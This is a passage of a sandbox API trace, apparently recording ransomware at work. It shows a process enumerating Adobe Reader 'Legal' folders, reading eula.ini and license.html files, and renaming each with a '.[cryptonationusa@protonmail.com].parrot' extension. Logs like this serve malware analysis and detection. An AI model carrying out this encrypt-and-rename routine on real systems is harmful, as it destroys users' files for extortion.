Flags=0x0, Size=0x90) returned 0x315d788 [0248.748] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0) returned 0x329aca0 [0248.748] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x315d788 | out: hHeap=0x5b0000) returned 1 [0248.748] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\slv\\license.html"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\license.html.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\slv\\license.html.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0248.750] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x329aca0 | out: hHeap=0x5b0000) returned 1 [0248.750] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0248.750] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32aa5c8 | out: hHeap=0x5b0000) returned 1 [0248.750] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x31fcff8 [0248.750] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x3275a58 [0248.750] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0248.750] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0248.752] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0248.753] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x2045d640, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0x2045d640, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0248.753] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x204374e0, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x568, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="EULAIN~1.PAR")) returned 1 [0248.753] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5d9768 [0248.753] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d9768 | out: hHeap=0x5b0000) returned 1 [0248.753] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0248.753] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0248.753] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81dce140, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81dce140, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0248.754] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0248.754] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0248.754] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x402, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0248.754] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d5d8 [0248.754] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0248.754] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0248.754] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0248.756] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0248.756] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x402, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x402, lpOverlapped=0x0) returned 1 [0248.756] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0248.756] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0248.756] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0248.756] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0248.756] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0248.756] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0248.756] GetLastError () returned 0x0 [0248.756] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0248.756] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0248.756] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0248.756] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0248.756] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0248.756] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0248.756] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0248.756] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0248.756] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0248.756] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0248.756] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0248.757] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0248.757] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0248.757] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0248.757] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0248.757] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0248.757] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0248.757] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0248.757] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605320 [0248.757] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0248.757] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5d51f8 [0248.757] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605320 | out: hHeap=0x5b0000) returned 1 [0248.757] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60baf8 [0248.757] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d51f8 | out: hHeap=0x5b0000) returned 1 [0248.757] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\eula.ini" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\suo\\eula.ini"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\eula.ini.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\suo\\eula.ini.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0248.761] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x329ae70 | out: hHeap=0x5b0000) returned 1 [0248.761] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0248.761] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0248.764] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0248.764] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0248.765] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0248.766] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd34f, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0xd34f, lpOverlapped=0x0) returned 1 [0248.767] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0248.768] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\suo\\license.html"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\license.html.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\suo\\license.html.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0248.771] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x329ae70 | out: hHeap=0x5b0000) returned 1 [0248.771] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0248.771] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32aa5c8 | out: hHeap=0x5b0000) returned 1 [0248.773] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0248.773] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81dce140, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x204a9900, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0x204a9900, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0248.773] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x204837a0, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x528, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="EULAIN~1.PAR")) returned 1 [0248.773] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0248.773] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0248.773] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81d81e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81d81e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81d81e80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0248.773] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0248.773] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0248.773] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d81e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0248.774] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0248.774] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0248.826] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0248.826] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3f6, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x3f6, lpOverlapped=0x0) returned 1 [0248.827] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0248.828] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\eula.ini" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\sve\\eula.ini"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\eula.ini.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\sve\\eula.ini.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0248.832] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x329b040 | out: hHeap=0x5b0000) returned 1 [0248.832] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0248.832] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0248.843] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0248.843] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0248.844] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0248.844] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xc8bf, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0xc8bf, lpOverlapped=0x0) returned 1 [0248.845] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0248.846] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\sve\\license.html"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\license.html.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\sve\\license.html.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0248.850] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x329b040 | out: hHeap=0x5b0000) returned 1 [0248.850] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0248.850] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32aa5c8 | out: hHeap=0x5b0000) returned 1 [0248.853] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0248.853] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81d81e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x20567fe0, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0x20567fe0, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0248.853] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d81e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x2051bd20, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x518, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="EULAIN~1.PAR")) returned 1 [0248.853] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0248.854] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0248.854] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a50d20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0248.854] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0248.854] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0248.854] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x41e, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0248.854] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0248.855] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0248.856] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0248.856] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x41e, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x41e, lpOverlapped=0x0) returned 1 [0248.856] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0248.857] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\eula.ini" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\tur\\eula.ini"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\eula.ini.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\tur\\eula.ini.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0248.860] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x329b210 | out: hHeap=0x5b0000) returned 1 [0248.860] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0248.860] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0248.863] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0248.863] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0248.865] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0248.865] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xfa69, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0xfa69, lpOverlapped=0x0) returned 1 [0248.866] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0248.867] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\tur\\license.html"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\license.html.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\tur\\license.html.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0248.870] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x329b210 | out: hHeap=0x5b0000) returned 1 [0248.870] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0248.870] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32aa5c8 | out: hHeap=0x5b0000) returned 1 [0248.872] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0248.872] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x2058e140, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0x2058e140, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0248.872] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a50d20, 